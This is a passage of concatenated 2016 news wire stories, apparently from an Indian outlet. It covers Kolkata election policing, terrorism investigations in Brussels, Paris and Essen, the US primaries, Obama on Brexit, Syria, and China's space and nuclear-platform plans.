"Only God knows who guides them (Election Commission) to take such decisions. Some political parties in our state are responsible for this. They have no other work other than to lodge complaints. The BJP lodged a complaint and removed the police commissioner of Kolkata. So what? Whoever replaced him is our officer too. And by removing officers, you cannot change their mindset. He (Kumar) is a very good officer. He will again do his job in the near future. Who has been appointed (in his place) is also a good officer," Mamata was quoted, as saying in Times of India.

If Mitra was demoralised, he didn't let it show on Thursday. Kolkata's new top cop micromanaged the police strategy and his force delivered a stellar show, acting on over 600 complaints and arresting 63 mischief-mongers for violating section 144 of the CrPC.

While 52 were arrested from the city's Beleghata area, nine were held from Phoolbagan, one from Entally and one more from Jorabagan.

From 7 am in the morning right until the last ballot was cast, city cops intercepted dreaded biker gangs, chased away outsiders, dispersed unlawful assemblies near polling booths wielding the baton if necessary, cracked down on hoodlums trying to intimidate voters and kept the ringleaders on a tight leash.

Apart from a blip in the case of Anwar Ali, a local TMC leader who managed to give cops the slip and was arrested four hours later, the police succeeded in its job of ensuring an environment of safety for voters to exercise their democratic rights. It may not seem much but the 2015 civic body election  marred by widespread violence  showed that even basic bandobast could prove elusive in Bengal.

It's not as if the new police commissioner sourced his force from Mars. The officers who acted with alacrity on Thursday, nipping in bud any potential source of trouble, were the same officers who had earlier remained ineffective when the situation demanded their intervention. What changed this time?

A report in The Telegraph points out how the top cop had asked the 30000-strong force to "stick to the rule book".

"We were categorically reminded that we would be reporting only to the Election Commission of India and that we should conduct the poll process strictly, adhering to the rules," the newspaper quoted a officer-in-charge of a police station, as saying. Mitra, who took charge less than two weeks ago, apparently invited the O-Cs of local police station into his vehicle at each location and briefed him in person about what was expected of the force.



All shops in the vicinity of a polling booth were ordered to be shut. Owner of a popular sweet shop reportedly received a resounding slap for not complying with the rules. Even officers on poll duty had to switch off their mobile phones.

The overall mood was vastly different from last year's civic body polls when police sub-inspector Jagannath Mondal was shot at while trying to disperse a group who were allegedly led by the husband of a TMC candidate.

Mondal survived the attack but key culprits remained untouchable amid a blizzard of complaints that the police were shielding TMC supporters.

The chain of incidents proved how the police had become pawns in the hands of its political masters and were drawing its orders not from the rulebook but from the seat of power. The subversion of the state's police force was not pioneered by the TMC but it had been taken to dangerous heights, raising calls for A statutory, independent Police Commission, along the lines of the Election Commission.

Thursday's events, however, showed there is still life in the baton if the hands that wields it is independent and listens to no one but the call of duty. By its show of spine, the police seemed to have impressed even the opposition.

"Election Commission's move to change the CP has obviously worked," CPM MP and politburo member Mohammad Salim told Firstpost on Friday. "On the day of the polling, the police were very proactive and did their job", he added.

"This is normal. This is what is expected of the police. What the cops were doing under Mamata Banerjee's instructions were aberrations," he quipped.
New Delhi: An invitation to a leading Chinese dissident to participate in a conference in Dharamshala next week could develop into another irritant between India and China.

Dolkun Isa, a leader of World Uyghur Congress (WUC) who lives in Germany, has been invited to the conference being organised by the US-based 'Initiatives for China'. Uyghurs and many other Chinese dissidents in exile are expected to attend and discuss democratic transformation in China.

China's unhappiness about reports that Dolkun has been given the visa was reflected in Chinese Foreign Ministry Spokesperson Hua Chunying saying, "What I want to point out is that Dolkun is a terrorist in red notice of the Interpol and Chinese police. Bringing him to justice is due obligation of relevant countries."

When asked about the issue, External Affairs Ministry Spokesperson Vikas Swarup today said,"We have seen the media reports and External Affairs Ministry is trying to ascertain the facts."

India's decision to permit WUC leaders whom China regards as backers of terrorism in its volatile Muslim-dominated Xinjiang province was reported to be in response to Beijing blocking Indian bid to get Jaish-e-Muhammad chief Masood Azhar banned by the UN.

Meanwhile, Dolkun has been quoted by media as saying that he had already been granted visa by the Indian government for the conference but he would take a final call only after assessing his security in India, as China got a Red Corner Notice issued against him by Interpol.
Aleppo: Air strikes on rebel-held neighbourhoods in Syria's second city Aleppo on Friday killed at least nine civilians and wounded more than a dozen others, the local civil defence told AFP.

The Syrian Observatory for Human Rights said regime warplanes carried out the air strikes and gave a toll of 10 dead.

An AFP correspondent in the opposition-held eastern part said four neighbourhoods were targeted.

In Bustan al-Qasr, one of the most heavily-populated neighbourhoods, seven civilians were killed and 10 wounded, a civil defence member said.

Two other people were killed and eight wounded in Al-Mashad district, the source said.

The Britain-based Observatory said the air strikes targeted Bustan al-Qasr and other Aleppo neighbourhoods, killing at least 10 people and wounding dozens more.

"The number of martyrs is expected to rise because many of those wounded are in critical condition," said the monitor, which relies on a network of sources inside Syria for its reports.

Once Syria's commercial hub, Aleppo has been divided between rebel control in the east and government forces in the west since 2012.

Nearly all warring parties in Syria  the regime, rebels, jihadists, and Kurds  have carved out zones of control in war-torn Aleppo province.

A ceasefire took effect in Syria at the end of February but the country has been rocked by fighting in recent weeks, particularly around Aleppo.

On Sunday, at least six civilians were killed in government strikes on eastern parts of the city, and another 16 were killed by rocket fire by Islamist rebels.

Syria's conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.
New Delhi: The mortal remains of a man from Jharkhand, who was allegedly killed by his employers in Saudi Arabia last year, is likely to be brought to India within a week, government said on Friday.

The disclosure was made before the Delhi High Court, with the government saying that the Indian embassy in Riyadh has taken all steps to dispatch the body of Jharkhand-based Mohammed Afsar Ansari.

The counsel for the government told a bench of Justice J R Midha that all the formalities have been completed.

"Everything which the embassy could have done has been done. The developments are very positive," the counsel said, adding that it would take one week's time to dispatch the body of the deceased to India.

The court has fixed the matter for hearing on April 29.

27-year-old Ansari, hailing from Jharkhand, was allegedly killed last year by his employers in Saudi Arabia apparently after he wanted to return to India.

The government's submission came on a plea by Ansari's wife Naushaba Bano who has sought contempt proceedings against the concerned officials, claiming there was a delay on their part in transporting her husband's body to India as directed by the court earlier.

Her counsel had earlier told the court that Ansari's kin feared that since the Indian Embassy had issued a no objection certificate (NoC) to the employers, they may bury the body in Saudi Arabia itself.

In its status report, the Indian Embassy had said its officials had visited the Bureau of Investigation in Saudi Arabia this month and got a clearance from them to release the mortal remains of Ansari.

It had also submitted that his relative there would need to submit the passport and other related documents to the cargo agency for transportation of the body.

The embassy had also said that it had prepared the NoC in the name of Ansari's brother but as it was not collected by him, it was prepared in favour of the employer.
London: London Mayor Boris Johnson is drawing a storm of criticism for suggesting President Barack Obama may have an "ancestral dislike of the British Empire" because of his Kenyan roots.

Obama has urged Britain to stay in the European Union, angering Johnson and others who want the country to leave the bloc.

Writing in The Sun newspaper, Johnson recounted a claim that a bust of former British Prime Minister Winston Churchill was removed from the Oval Office after Obama was elected and returned to the British Embassy. Johnson wrote that some said removing the bust "was a symbol of the part-Kenyan president's ancestral dislike of the British Empire, of which Churchill had been such a fervent defender."

Former Liberal Democrat leader Menzies Campbell says Johnson's comment are "an unacceptable smear," while Labour Party lawmaker Diane Abbott says that "Boris dismissing president Obama as 'half-Kenyan' reflects the worst Tea Party rhetoric."

The White House has said that the Churchill bust is still in a prominent place in the presidential residence.
Paris: Najim Laachraoui, one of the Brussels airport suicide bombers, has been identified by several Frenchmen held hostage by Islamic State in Syria as one of their prison guards, sources close to the investigation said.

According to one of the sources, four French journalists kidnapped in Syria in 2013 and 2014 had identified a guard known as "Abou Idriss."

One of these journalists, Nicolas Henin, "formally identified" Abou Idriss as Najim Laachraoui, said his lawyer Marie-Laure Ingouf, confirming reports in French newspapers.
Paris: Najim Laachraoui, one of the Brussels airport bombers, has been identified by several Frenchmen held hostage by Islamic State in Syria as one of their prison guards, sources close to the investigation said Friday.

According to one of the sources, four French journalists kidnapped and held in Syria from 2013 to 2014 had identified a guard known as "Abou Idriss".

One of the journalists, Nicolas Henin, "has formally identified" Abou Idriss as being Najim Laachraoui, his lawyer Marie-Laure Ingouf said, confirming reports in French newspapers.

Belgian prosecutors have said Laachraoui travelled to Syria in February 2013 to join up with IS forces.

There was no further trace of the Belgian national until he was registered under a false name at the border between Austria and Hungary in September 2015.

Laachraoui, 24, was one of the two suicide bombers who struck Brussels airport on March 22, while a third attacker blew himself up at on a metro train, with the two attacks killing 32 people.

Prosecutors have also linked him to November's attacks in Paris in which 130 people died, saying his DNA was found on a suicide vest and a piece of cloth at the Bataclan concert hall where 90 people were killed.

Police also found his DNA on explosives used at the Stade de France, leading investigators to believe he was the bomb maker in both the French and Belgian attacks.

Islamic State itself has also identified Laachraoui as Abou Idriss in the latest edition of its magazine, Dabiq, saying he "prepared the explosives for the two raids in Paris and Brussels".

The former French hostages have already identified two Frenchmen as being among their jailers when they were held in Syria.

One, Mehdi Nemmouche, is in custody accused of killing four people in an attack on the Jewish museum in Brussels in 2014.

The other is Salim Benghalem, who has been sentenced in absentia in France for recruiting for IS and is listed as a "foreign terrorist combatant" by the United States.
Brussels: The subway station in the Belgian capital where a suicide bomber killed 16 people a month ago will reopen Monday.

The Brussels regional transit authority, commonly known as the STIB, announced the reopening Friday on social media.

The 22 March bomb attack aboard a Brussels Metro train during morning rush hour also damaged the Maelbeek station, and it has been closed since.

That same day, two other suicide bombers killed 16 more victims at Brussels Airport. The attacks were claimed by the Islamic State group.

Belgian media say a "wall of memory" has been installed at Maelbeek station so that once service resumes, subway riders can express their emotions by leaving written messages or drawings.
Washington: Republican presidential front-runner Donald Trump on Friday criticised his party's rules which allegedly allow candidates to win over delegates through unethical means like offering plane tickets or hotel rooms, saying this "phony, crooked" delegate selection process in not democratic.

"I did know it and it's troubling -- not only troubling, it should be illegal. You shouldn't be able to do it," Trump said when asked about the little known rule of the Republican party, which may come into play in a big way at a time when none of the three presidential candidates are likely to get the requisite 1,237 delegate's support before the July convention in Cleveland.

Trump currently is leading the delegate count but is still far away from the 1,237 number. His two rivals Senators Ted Cruz from Texas and Governor John Kasich from Ohio are banking on the fact that they would win over the delegates at the convention.

"We are fighting for delegates, and what they're doing is take a look. They're traveling them around. They're taking them out to dinner. You could actually take a couple of hundred million dollars and buy an election and never win a race because all you have to do is take them out to dinner and send them to Paris, France, for the evening," Trump told Fox News.

"I think it's a disgrace and that it is not our system and this should not be the Republican Party. I'm so proud of myself, I exposed this. This was going on for a long time and it's now been exposed, and it shouldn't be allowed to be," the real-estate tycoon said.

Claiming that Kasich has no path to nomination, Trump said, "It's mathematically impossible for John Kasich to become the Republican nominee. He needs more than 100 per cent of the remaining delegates."

"It's worth remembering Kasich went for 0 for 27, lost 27 states in a row. Then he won his home state. You can't lose every state and expect to be the nominee. Right now, Kasich's role is really being a spoiler," he said.

Similarly, he argued that Cruz also has no path to nomination. "He's mathematically eliminated. He's out. And they should both drop out," Trump said.

"Remember this. While I'm almost 300 delegates ahead and millions of votes ahead, it's really unfair because I wasn't competing against one person, I was competing against 16 people at the beginning. So we'd have splits with 16 people, and then 14 people and 12 people and eight people and nine people. And you know, it would go on that way, and then even now, we have three people," he noted.

"We should be having, like, just one. I don't really care and we're winning by a lot but it really isn't fair because when you break it up, when you have that many people, you're getting much less.

As an example, Marco Rubio has more delegates right now than Kasich, and those are delegates that are taken out of play, so it makes it hard for me to get them. And he's right now not in play," Trump said.

"So the whole system is rigged. It's a phony, crooked system where people are allowed to buy delegates, they're allowed to buy hotel rooms for them and take them out to dinner and do whatever they have to do to get their vote. That's not democracy," Trump said.
Beijing: Work is proceeding quickly on China's planned mission to land a rover on Mars by 2020, the chief administrator of the country's ambitious space program said Friday.

Formally announced in January, China's Mars voyage will attempt to recreate the success of the US Viking 1 mission that landed a rover on the planet four decades ago.

"What we would like to do is to orbit Mars, make a landing, and rove around for reconnaissance in one mission, which is quite a challenge," China National Space Administration head Xu Dazhe said at a rare news conference. "This is a project that has attracted much attention from both the science and space fields."

Xu said China will further explore civilian uses of space technology in areas such as navigation, remote sensing and communications, and will seek international collaborations.

Since conducting its first crewed mission on a Chinese-built Shenzhou spacecraft in 2003, China has launched an experimental space station called the Tiangong 1, staged a spacewalk and landed its Yutu rover on the moon.

This year, it plans to launch components for a larger, permanent Tiangong 2 space station sometime after the beginning of June, as well as the Shenzhou 11 spaceship with two astronauts on board who are scheduled to dock with the station and live in it for several days. Administrators suggest a manned landing on the Moon may also be in the program's future.

A source of enormous national pride, China's military-backed space program plans a total of 20 space missions this year at a time when the US and other countries' programs are seeking new roles.

China is also developing the Long March 5 heavier-lift rocket needed to launch the Tiangong 2 and other massive payloads.
Washington: Republican presidential front-runner Donald Trump has said that he prefers to run against Democratic leader Hillary Clinton in the elections and not against Vermont Senator Bernie Sanders, despite the fact that he is giving a tough time to the former secretary of state.

"Now Bernie's over, I guess. It's over for Bernie. I dont want to run against Bernie," Trump told his supporters in Pennsylvania, where the Republican presidential primary is scheduled to be held on 26 April.

"I want to run against crooked Hillary Clinton. We are going to beat her so badly. Is there anyone more crooked than this woman?" Trump said, as he appeared to be confident of bagging the party's presidential nomination despite being quite far away from the necessary 1237 delegates to get this.

However, he praised Sanders for his tough fight against Clinton. "(Sanders) said she suffers from bad judgement and she said  now I don't know, I think she's qualified, I guess. But that doesnt mean shes good," he said.

"He said she's not qualified to be president. Now what he meant is because her judgement is so bad so Bernie Sanders, not me, said she's not qualified. So now Im going to say: Shes not qualified, OK?," Trump said.

"We have all of the mistakes Hillary made as secretary of state. We have a mess. The war in Iraq has been devastating. We have probably spent $ 4 trillion in the Middle East," the Republican front runner said in his speech.

Meanwhile, the former Republican presidential candidate and Speaker of the House of Representatives Newt Gingrich said that Trump is a presumptive nominee and urged party leaders to unite behind him.

The Republican National Committee (RNC) leadership continued to its meeting in Florida over the various laws related to the convention.

Trump personally did not attend the meeting, but was represented by his close aides. The other two presidential candidates, Ted Cruz and John Kasich, appeared before the RNC.

At his Pennsylvania rally last evening, Trump refused to go by the advice of his aides who asked him to wait so as to let a large crowd waiting outside to come inside the venue.

"So I am supposed to wait a half an hour because there are thousands of people outside trying to get in. I cant do that to you, so we are going to come on right now," he said off-stage.

"Ive never done that before. Ive never introduced myself. They didnt quite say it right the first time. We have thousands of people outside. Theyre going to pour in, theyre filling up the floor. Lets start a little bit early. To hell with this," said Trump, who has 845 delegates to his kitty.

His nearest primary rival Senator Ted Cruz from Texas has 559 delegates while the Ohio Governor John Kasich has 148. The next round of primary elections are scheduled in the states of Maryland, Pennsylvania, Connecticut, Delaware and Rhode Island.

Trump needs to win big in these states to ensure that he gets the necessary 1237 votes to become the partys nominee before the Cleveland convention in July.
London: US President Barack Obama plunged into Britain's poisonous European Union membership debate Friday, arguing strongly against a "Brexit" as he kicked off a visit to the UK.

Obama's intervention ahead of the 23 June vote in a piece for the Daily Telegraph newspaper drew a furious response from eurosceptics like London Mayor Boris Johnson, who said he should mind his own business.

Writing in the Telegraph, a traditional bastion of euroscepticism, Obama argued that Britain's place in the EU magnifies its global influence and its membership is a matter of "deep interest" to the United States.

"I realise that there's been considerable speculation  and some controversy  about the timing of my visit," Obama wrote.

Noting that he wanted to mark the 90th birthday of Queen Elizabeth II on Thursday in person  he and First Lady Michelle Obama will lunch at Windsor Castle later Friday  the president was also unusually forthright about his country's interest in Britain's EU membership.

Stressing that the choice was purely for the British people, he wrote: "I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States.

"The path you choose now will echo in the prospects of today's generation of Americans."

In response, Johnson, the leading face of the eurosceptic campaign, said it was "downright hypocritical" of the US to intervene in the debate.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy is a breathtaking example of the principle of do as I say, not as I do," he said in a piece for the Sun, Britain's top-selling tabloid.

While experts warn many people have not yet decided how to vote, the "Remain" camp currently has 54 percent support compared to 46 percent for "Leave", according to an average of the last six opinion polls by academics at the What UK Thinks project.

EU 'spreads British values'

Obama will likely be asked to weigh in further during a joint press conference with British Prime Minister David Cameron following talks at his Downing Street office later Friday.

His intervention is an unusual overt foray into the domestic politics of another country.

Seen from Washington, Cameron's decision to call a referendum was a bold  if not downright risky  gamble that could leave Britain and the EU badly weakened.

"The EU has helped spread British values and practices  democracy, the rule of law, open markets  across the continent and to its periphery," Obama wrote.

"The European Union doesn't moderate British influence  it magnifies it.

"A strong Europe is not a threat to Britain's global leadership; it enhances Britain's global leadership," he said.

Britain's voice in the EU keeps the bloc "outward looking" and "closely linked" to the United States, he said.

"The US and the world need your outsized influence to continue  including within Europe."

'Butt out'

Over 100 British eurosceptic lawmakers signed an open letter urging Obama not to intervene in the debate ahead of the visit and such criticism was renewed Friday.

Nigel Farage, leader of the anti-EU UK Independence Party, said Obama should "butt out".

"This is an unwelcome interference from the most anti-British American president there has ever been," Farage added. "Mercifully, he won't be in office for much longer."

Cameron, who is leading the campaign to remain in the EU and fighting for his political life, has tried to stress that close ties with the United States will endure.

He sought to underscore areas of continued cooperation by saying his talks with Obama would focus heavily on the fight against the Islamic State jihadist group.

"Britain's relationship with the United States is special and enduring. Based on shared values and convictions it has stood the test of time," Cameron said in a statement.

"I am deeply proud of what it has allowed us to achieve, in dealing with the global challenges we both face."

During Obama's visit he and the first lady will also dine Friday with Queen Elizabeth's grandson Prince William, his wife Kate and his brother Prince Harry.

From Britain, he will travel to Germany for a meeting with German Chancellor Angela Merkel and other EU leaders.
Berlin: An explosion at a gurudwara in Germany's Essen city was a "terror attack" carried out by radical Islamists, authorities have said for the first time, terming it as an "entirely new" strike targeting the Sikhs.

After the interrogation of two detained teenagers, the investigators hold the view that the blast was a "religious motivated terror of the Islamist scene", Essen's police commissioner Frank Richter said on Thursday.

The blast ripped through the entrance hall of the gurudwara on Saturday evening during a wedding ceremony and severely damaged part of the building besides shattering windowpanes and injuring three people, including the priest.

The interior minister of the state of North Rhine Westphalia (NRW) Ralf Jaeger spoke of an "Islamic background" to the blast and called for a thorough investigation to establish to what extent the two youths were radicalised by jihadists.

It also must be investigated who are the other persons with whom the two terror suspects had contacts, he said.

Jaeger said it was "entirely new" that the Sikh community in this country has become the target of a terror attack.

The two terror suspects' affiliation to a particular group cannot be established at the present stage of the investigation, Richter told a news conference in Essen.

German TV network ARD reported on Thursday that one of the two men arrested, identified by police as Yusuf T, is an Islamic State (IS) sympathiser and investigators treat him as the main suspect in the attack.

He is known to the authorities as an activist in the Islamist scene in the Ruhr region of NRW. He also has close links to "Lohberger-Brigade", an alliance of radical Islamists in the town of Dinslaken, the report said.

Photos and video sequences of CCTV footage released by police on Wednesday showing the two men helped the authorities to apprehend them, Richter said.

They are believed to have planted an explosive device hidden in a backpack in the entrance hall of the gurudwara. It went off at the end of the marriage ceremony.

Around 70 police officials are working round-the-clock to investigate the entire background of the attack and to evaluate large amount of evidences collected.

More arrests in this connection cannot be ruled out, Richter said.

He assured the Sikh community that they can feel secure in the city and the authorities would do everything to protect them.
Windhoek: In the tumultuous 1980s during Namibia's independence struggle, 400 children, some as young as three and many orphans, were shipped off to East Germany to be groomed as model communists and their country's future elite  until the Berlin Wall fell.

Their forgotten odyssey, sealed in a deal between Swapo, Namibia's Soviet-backed liberation movement, and the East German regime, is now told in a new play, "Oshi-Deutsh: The GDR Children of Namibia".

And four decades later the question remains  was it bad luck or good fortune, to be removed from families and friends, but also from war and desperate refugee camps?

"For me, it was to save my life," said Lucia Engombe, 43, who was plucked from a camp in nearby Zambia at only six years old and put on a bus to the airport. "Even as a child, I understood that."

Flipping through the pages of an old album, Engombe pointed to yellowed photos of her classmates: one now a lawyer, another an engineer, two others married and living in Europe.

The young black Namibians were then pupils in a small village school in East Germany, and their math, biology and other lessons were heavily infused with hardline communism.

At the time, Namibia, a former German colony, was under South African occupation.

War raged between the troops of the apartheid regime and Swapo resistance fighters as thousands of Namibians fled to refugee camps in Angola and Zambia.

"I knew that Zambia was not good for us because there was war," recalled Engombe.

"If they said, 'Throw yourself on the floor', you had to throw yourself on the floor. If they said 'Run', you ran for your life. We were living in constant fear."

She would learn years later that she was severely malnourished at the time and her mother played a role in sending her away.

When she and the other youngsters arrived in East Germany, they were set up in a castle in the village of Bellin.

Under the strict supervision of both German and Namibian teachers, they learnt German  Engombe still speaks fluently  along with their political education and regular classes.

The future elite

"It was intense military training," recalled Monica Nambelela, who was taken to East Germany when she was just three years old.

"Swimming, fighting. You know, they said we were going to liberate our country. We were going to be the elite."

Nambelela, a government official, refuses to see herself as a victim.

"I consider myself very, very privileged," she insisted.

"That education system embraced everything you need to know in life, important values about hard work, and punctuality, about standing up for one's country, about being incorruptible."

"Oshi-Deutsh: The GDR Children of Namibia" -- the title is a twist on German and Oshiwambo, the most spoken local language in Namibia -- will be staged in both Namibia and Germany, looking back at this period.

"With all our history, it's easy to see how (the play) could be dark, but you really have to be able to liberate yourself and see what good came out of those years of struggle," playwright Ndhinomholo Ndilula told AFP ahead of a performance in the capital, Windhoek.

Engombe, now a producer of German language education programmes on Namibian national television, recorded her own experience in an autobiography entitled "Kind nr95" ("Child number 95").

Isolated from her parents for years, she eventually learnt that her mother was living as a refugee in the Soviet Union.

But when she asked to be allowed to write to her father, she received a categoric no. She was told he was a traitor: an enemy of Swapo.

"I was only a child, I didn't understand those things, so I asked, 'what's a traitor?' When they told me, I cried."

When that didn't dissuade her, a teacher told Engombe her father was dead.

"It's like a piece of me was cut down... but somewhere in my heart I believed that my father was still alive."

Homecoming

Her hunch was right, and when she returned home years later she found him.

The fall of the Berlin Wall in 1989 brought an abrupt end to the German exile of the young Namibians.

Changes had been happening at home, too.

In August 1990, months after the reunification of Germany, four jumbo jets touched down in a newly independent Namibia.

The children were ill-prepared for life in an African country. Swapo now ruled, but communism never would take root.

The adaptation was difficult.

"I was a teenager," remembered Nambelela. "Apartheid was now abolished so we were the first black children to sit shoulder to shoulder with white people in one class.

"But it did not come at a cheap price. There was a lot of discrimination from the teachers. You need to understand, they were part and parcel of segregation all their lives."

Twenty-six years later, her 13-year-old daughter Shakira will help tell her mother's story with a role in "Oshi-Deutsch".

"It's part of our history," says playwright Ndilula. We have some 400 children who were gone and then came back and had to assimilate.

"Everything that happened in between is definitively part of Namibian history."
Tokyo: President Barack Obama will go to the atom-bombed city of Hiroshima after a G7 summit in Japan next month, the Nikkei business daily reported Friday, in what would be a first for a sitting US leader.

Washington will "arrange with Japan his visit on 27 May when the G7 leaders' summit wraps up," the newspaper said, citing several US government officials it did not identify.

The White House refused to comment, while Japan said that there were no ongoing arrangements between the two sides for such a visit.

White House officials have said that Obama is considering stopping in the city late next month around the time of the 26-27 May Group of Seven summit that is to take place in another part of Japan.

A visit by Obama would have enormous symbolic importance and would follow US Secretary of State John Kerry's journey last week to Hiroshima, which took in the memorial and museum to the 1945 bombing in the city.

Kerry, who was joined by other G7 foreign ministers, is the highest-ranking US administration official to pay respects at the spot where an American plane dropped an A-bomb in the world's first-ever nuclear attack.

While visiting the city, Kerry declined to comment on the likelihood of an Obama visit.

"That is subject to a very full and complicated schedule that the president has to plan out way ahead of time," he said.

Obama, who won the Nobel Peace Prize in 2009 for his call for a world without nuclear weapons, is expected to make a speech about nuclear abolition, the Nikkei said, citing an unnamed high-ranking US government official.

Obama is also considering offering a floral tribute at Hiroshima's Peace Memorial Park and Japanese Prime Minister Shinzo Abe is also expected to accompany Obama, according to the paper.

A US official told the Nikkei that Washington will formally notify Japan of the plans early next month.

Asked at a regular press conference whether the US and Japan are working to arrange a visit to Hiroshima by Obama, Chief Cabinet Secretary Yoshihide Suga, the government's top spokesman, flatly denied it.

"It is not true," Suga said.

But he added it is "very important" for Japan that world leaders visit Hiroshima and understand the reality of the suffering caused by the atomic bombing.

Speculation of an Obama visit has intensified since Kerry said in Hiroshima after he and his G7 counterparts wrapped up two days of talks there that everyone should visit the city.

"I hope one day the president of the United States will be among the everyone who is able to come here," he said.

About 140,000 people died directly from the Hiroshima blast or later from severe radiation exposure. The city, a key military installation during the war, was flattened by the massive detonation.

The atomic bombing of Nagasaki followed three days later, killing some 74,000 people. Japan surrendered within a week to end World War II.
London: The Islamic State, notorious for its brutality, has reportedly executed 250 girls in northern Iraq for refusing to become sex slaves, according to a media report.

The girls had been ordered to accept temporary marriages to the terrorists and were murdered, sometimes alongside their families, for their refusal to be sex slaves in Iraq's second largest city of Mosul.

Islamic State began selecting women of Mosul and forced them into marrying its militants, calling it temporary marriage since it has taken control over Mosul, and the women who refused to submit to this practice would be executed, said Kurdish Democratic Party spokesman Said Mamuzini.

"At least 250 girls have so far been executed by IS for refusing to accept the practice of sexual jihad, and sometimes the families of the girls were also executed for rejecting to submit to IS's request," Mamuzini told London-based Kurdish news agency AhlulBayt.

Another official from the Patriotic Union of Kurdistan (PUK) party Ghayas Surchi said that human rights were being widely violated in all Islamic State-held territories, particularly the womens' rights as they're seen as commodities and have no choice in choosing their spouses.

Surchi said that women were not allowed to go out alone in Mosul and cannot choose their spouses.

The execution follows a spate of similar killings that took place in August 2015 in which 19 Mosul women were slaughtered for refusing to have sex with Islamic State fighters, the report said.

Up to 500 Yazidi women and girls were kidnapped and sexually abused by militants in August 2014.

In October, more than 500 Yazidi women and young girls were reportedly abducted by Islamic State militants when they stormed the Sinjar region in northern Iraq.

Islamic State took control of Mosul in June 2014 after the fall of Iraqi army in the city and since then has been slaughtering its residents for various charges to spread fear.

US President Barack Obama said on Monday that he expected Mosul to be retaken from the militants "eventually".

"My expectation is that by the end of the year, we will have created the conditions whereby Mosul will eventually fall," Obama had said.
Brussels: Key Paris attacks suspect Salah Abdeslam has been charged over a deadly shootout with police in Brussels a week before the suicide bombings in the Belgian capital, his lawyer said Thursday.

"He has been charged with attempted murder either alone or jointly" over the gunbattle at an apartment in the Forest district of Brussels on 15 March, lawyer Sven Mary told AFP.

An Algerian Islamist suspect was killed and four police officers were wounded in the shooutout, which led to Abdeslam's arrest three days later in the Molenbeek area of Brussels after a four-month European manhunt.

Abdeslam, 26, is due to be extradited to France in coming days over the November Paris attacks, in which he is believed to be the last surviving member of the terror squad that killed 130 people.

But Belgian police have also tried to question him over his links to the three suicide bombers who struck Brussels airport and metro on March 22, killing 32 people and injuring hundreds.

The Islamic State group has claimed both attacks.

Asked if Abdeslam admitted being present at the Forest shootout, Mary said: "We won't discuss that, I won't comment."

Abdeslam will appear before a Belgian court again on 28 April and his extradition to France will come "perhaps two days after his court appearance," Mary added.

Abdeslam and alleged Paris accomplice Mohamed Abrini, who has also charged over the Brussels attacks, were moved to different jails in Belgium last week.

Abrini, 31, has confessed to being "the man in the hat" caught on video with suicide bombers at Brussels airport.

Abrini was also linked to the November 13 Paris massacre after being caught on video at a motorway gas station with Abdeslam.
Islamabad: A Pakistani anti-terrorism court on Friday rejected former army chief General (retd) Pervez Musharraf's request for temporary exemption from court appearances and termed his April 6 medical report "fake".

The ruling regarding the former military ruler's certificate came during the hearing of the judges' detention case, Dawn online reported.

Musharraf's lawyer Akhtar Shah submitted his medical report along with a request to grant his client temporary exemption from appearing in the court, but the judge rejected both and upheld his non-bailable arrest warrants.

The judge maintained that Musharraf left the country in March but the report presented in the court was of April.

Musharraf's counsel argued that his client can appear before the court, provided his doctors allow him and the government provides him security.

Musharraf has failed to appear in court for the last one and a half years.

Islamabad police, in their report regarding the former army chief's non-bailable arrest warrants, said the warrants could not be executed as Musharraf was in Dubai since March.

The judge ordered Islamabad police to find Musharraf's whereabouts and present him before the court on May 20, the next hearing of the case.

Musharraf, who is facing a number of cases, including Abdul Rasheed Ghazi murder case, Benazir Bhutto murder case, and the high treason case, left for Dubai on March 18, hours after the interior ministry issued a notification to remove his name from the exit control list (ECL).

In the formal hearing of the case, the judge had said the former president left country without taking the court's permission.

Police on August 11, 2009, registered a case against Musharraf on a complaint that soon after the imposition of an emergency in Pakistan on November 3, 2007, the then president detained 60 judges of the superior courts in their residences for over five months.

On September 11, 2015, the ATC dismissed an application seeking a permanent exemption to Musharraf and issued his arrest warrants.
Washington: US President Barack Obama has led his countrymen in mourning the death of legendary pop star Prince, whom he described as the "most gifted and prolific" musician of his time.

"Today, the world lost a creative icon," Obama, who is currently on a three-nation six-day tour of Saudi Arabia, the UK and Germany, said in a statement on Thursday.

Pop music superstar Prince Rogers Nelson popular as Prince was found dead at his home in suburban Minneapolis on Thursday. He was 57.

"Michelle and I join millions of fans from around the world in mourning the sudden death of Prince. Few artists have influenced the sound and trajectory of popular music more distinctly, or touched quite so many people with their talent.

"As one of the most gifted and prolific musicians of our time, Prince did it all. Funk. R&B. Rock and roll. He was a virtuoso instrumentalist, a brilliant bandleader, and an electrifying performer," he said.

"Prince once said 'A strong spirit transcends rules'  and nobody's spirit was stronger, bolder, or more creative. Our thoughts and prayers are with his family, his band, and all who loved him," Obama said.

According to local police officials, legendary Prince was found unresponsive in an elevator on Thursday. An autopsy is planned on Friday.

In 2004, he was inducted into the Rick 'n' Roll of Fame.

Upon hearing the news, mourners began lining up with flowers and stuffed animals outside the studio on Audubon Road, some sobbing and embracing, The Star Tribune reported.

"Our hearts are broken," said First Avenue music club in Downtown Minneapolis.
Beijing: China is edging closer to building its first floating maritime nuclear power platform with the prospects of deploying it in the disputed South China Sea, a state-run daily said on Friday, even as the Foreign Ministry declined to react, saying it had not heard of the plans.

The Global Times in a report said that the nuclear platforms could significantly boost the efficiency of the country's construction work on islands in the strategic South China Sea.

It said the nuclear power platforms could "sail" to remote areas and provide a stable power supply.

China Shipbuilding Industry Corp, the company in charge of designing and assembling the platforms, is "pushing forward the work", said Liu Zhengguo, the director of its general office.

"The development of nuclear power platforms is a burgeoning trend," Liu told the paper when asked to comment on a previous media report that China plans to build 20 maritime nuclear power platforms.

"The exact number of plants to be built (by CSIC) depends on the market demand," he said, without confirming or denying the reported number.

"Judging by various factors, the demand is pretty strong," Liu said, adding the construction of the platforms is "based on mature technology."

He emphasised that the plants are mainly for civilian use, such as providing electricity for oil drilling platforms.

The daily quoted a report published by eworldship.com, a Shanghai-based shipbuilding industry website, that Bohai Shipbuilding Heavy Industry Company (BSHIC), a ship assembly enterprise under the CSIC, will be responsible for building China's first maritime nuclear power platform, and the CSIC will build about 20 such platforms "in the future."

The report said a group of experts has reviewed and discussed the technical plan on the construction of the platform proposed by Institute 719, which is also under the CSIC, and reached a unanimous conclusion.

Chinese Foreign Ministry spokeswoman Hua Chunying, however, declined to react and played down the story as a media report.

